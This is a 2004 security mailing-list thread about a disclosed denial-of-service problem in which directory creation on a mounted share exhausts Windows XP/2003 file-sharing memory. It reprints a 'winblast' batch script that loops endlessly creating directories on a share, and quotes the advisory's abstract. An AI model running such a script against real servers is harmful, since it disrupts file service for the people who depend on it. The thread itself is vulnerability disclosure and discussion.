Re: [Full-Disclosure] smbmount disrupts Windows file sharing.

[Daniel Kabs [ML]]

On Tue, 3 Feb 2004 12:09:58 ,<rslade@sprint.ca> wrote:
> OK, obvious question. Can you do the same thing with md, rd,
> and a BAT file, or
> is a specific smbmount quirk necessary?

I've posted the Windows Batch File to Full-Disclosure on
Tue, 03 Feb 2004 11:45:25 +0100.

Here's the _corrected_ batch file again:
-------------cut here--------------------------
@echo off
REM winblast V3 - DoS on WinXP, Win2003Srv
REM 2003-12-04 Steve Ladjabi, Daniel Kabs

K:
if ERRORLEVEL 1 goto exit0

cd \sharedfolder
if ERRORLEVEL 1 goto exit0

set count=0

REM using 'pathcount' directories
set pathcount=1000

echo running 'winblast v3' with %pathcount% files in loop ...
:START
set /a p=pathcount*2-1
set /a stop=pathcount-1
:LOOP
set dirname="wbst%p%"
REM delete old directory if it exists
if exist %dirname% rmdir %dirname%
REM generating directory and exit on any error
mkdir %dirname%
if ERRORLEVEL 1 goto exit1
set /a p=p-1
set /a count=count+1
if not "%p%" == "%stop%" goto LOOP
echo %count% directories generated ...
goto START

:exit0
echo Abort. Could not open target directory.
goto ende

:exit1
echo Abort. Could not create directory: %dirname%

:ende
-------------cut here--------------------------

To make a long story short: I could not replicate that
problem using this script on a Windows client.

Cheers
Daniel

[Steve Wray]

Has anyone tried to replicate this from Windows?
(ie create a windows batch file which does the
same thing)? Or is the windows batch file language
too restricted to allow this sort of script?

Forgive my windows ignorance...

> -----Original Message-----
> From: full-disclosure-admin@lists.netsys.com
> [mailto:full-disclosure-admin@lists.netsys.com] On Behalf Of
> Daniel Kabs [ML]
> Sent: Tuesday, 3 February 2004 4:41
> To: bugtraq@securityfocus.com; full-disclosure@lists.netsys.com
> Subject: [Full-Disclosure] smbmount disrupts Windows file sharing.
>
>
> Announced: 2004-02-02
> Type: Denial of Service Attack on Windows
> Impact: smbmount can stop Windows from sharing files
> Writer: Daniel Kabs, Germany (daniel.kabs@gmx.de)
> Credits: Thanks to Steve Ladjabi (steve.ladjabi@web.de)
>
> Contents:
> 1. Abstract
> 2. Affected Systems
> 3. Attack Setup
> 4. Symptoms
> 5. Workaround
>
>
> 1. Abstract
>
> A security vulnerability of "Windows XP" and "Windows 2003
> Server" has been found. Theses systems are open to a denial
> of service attack. If they share folders to a Unix client
> that is using smbmount (part of the Samba suite), any user
> on the client who has permissions to create directories on
> the mounted share can stop the Windows system from serving
> files. The attack induces a memory shortage on the Windows
> system by creating directories in a special way.
[snip]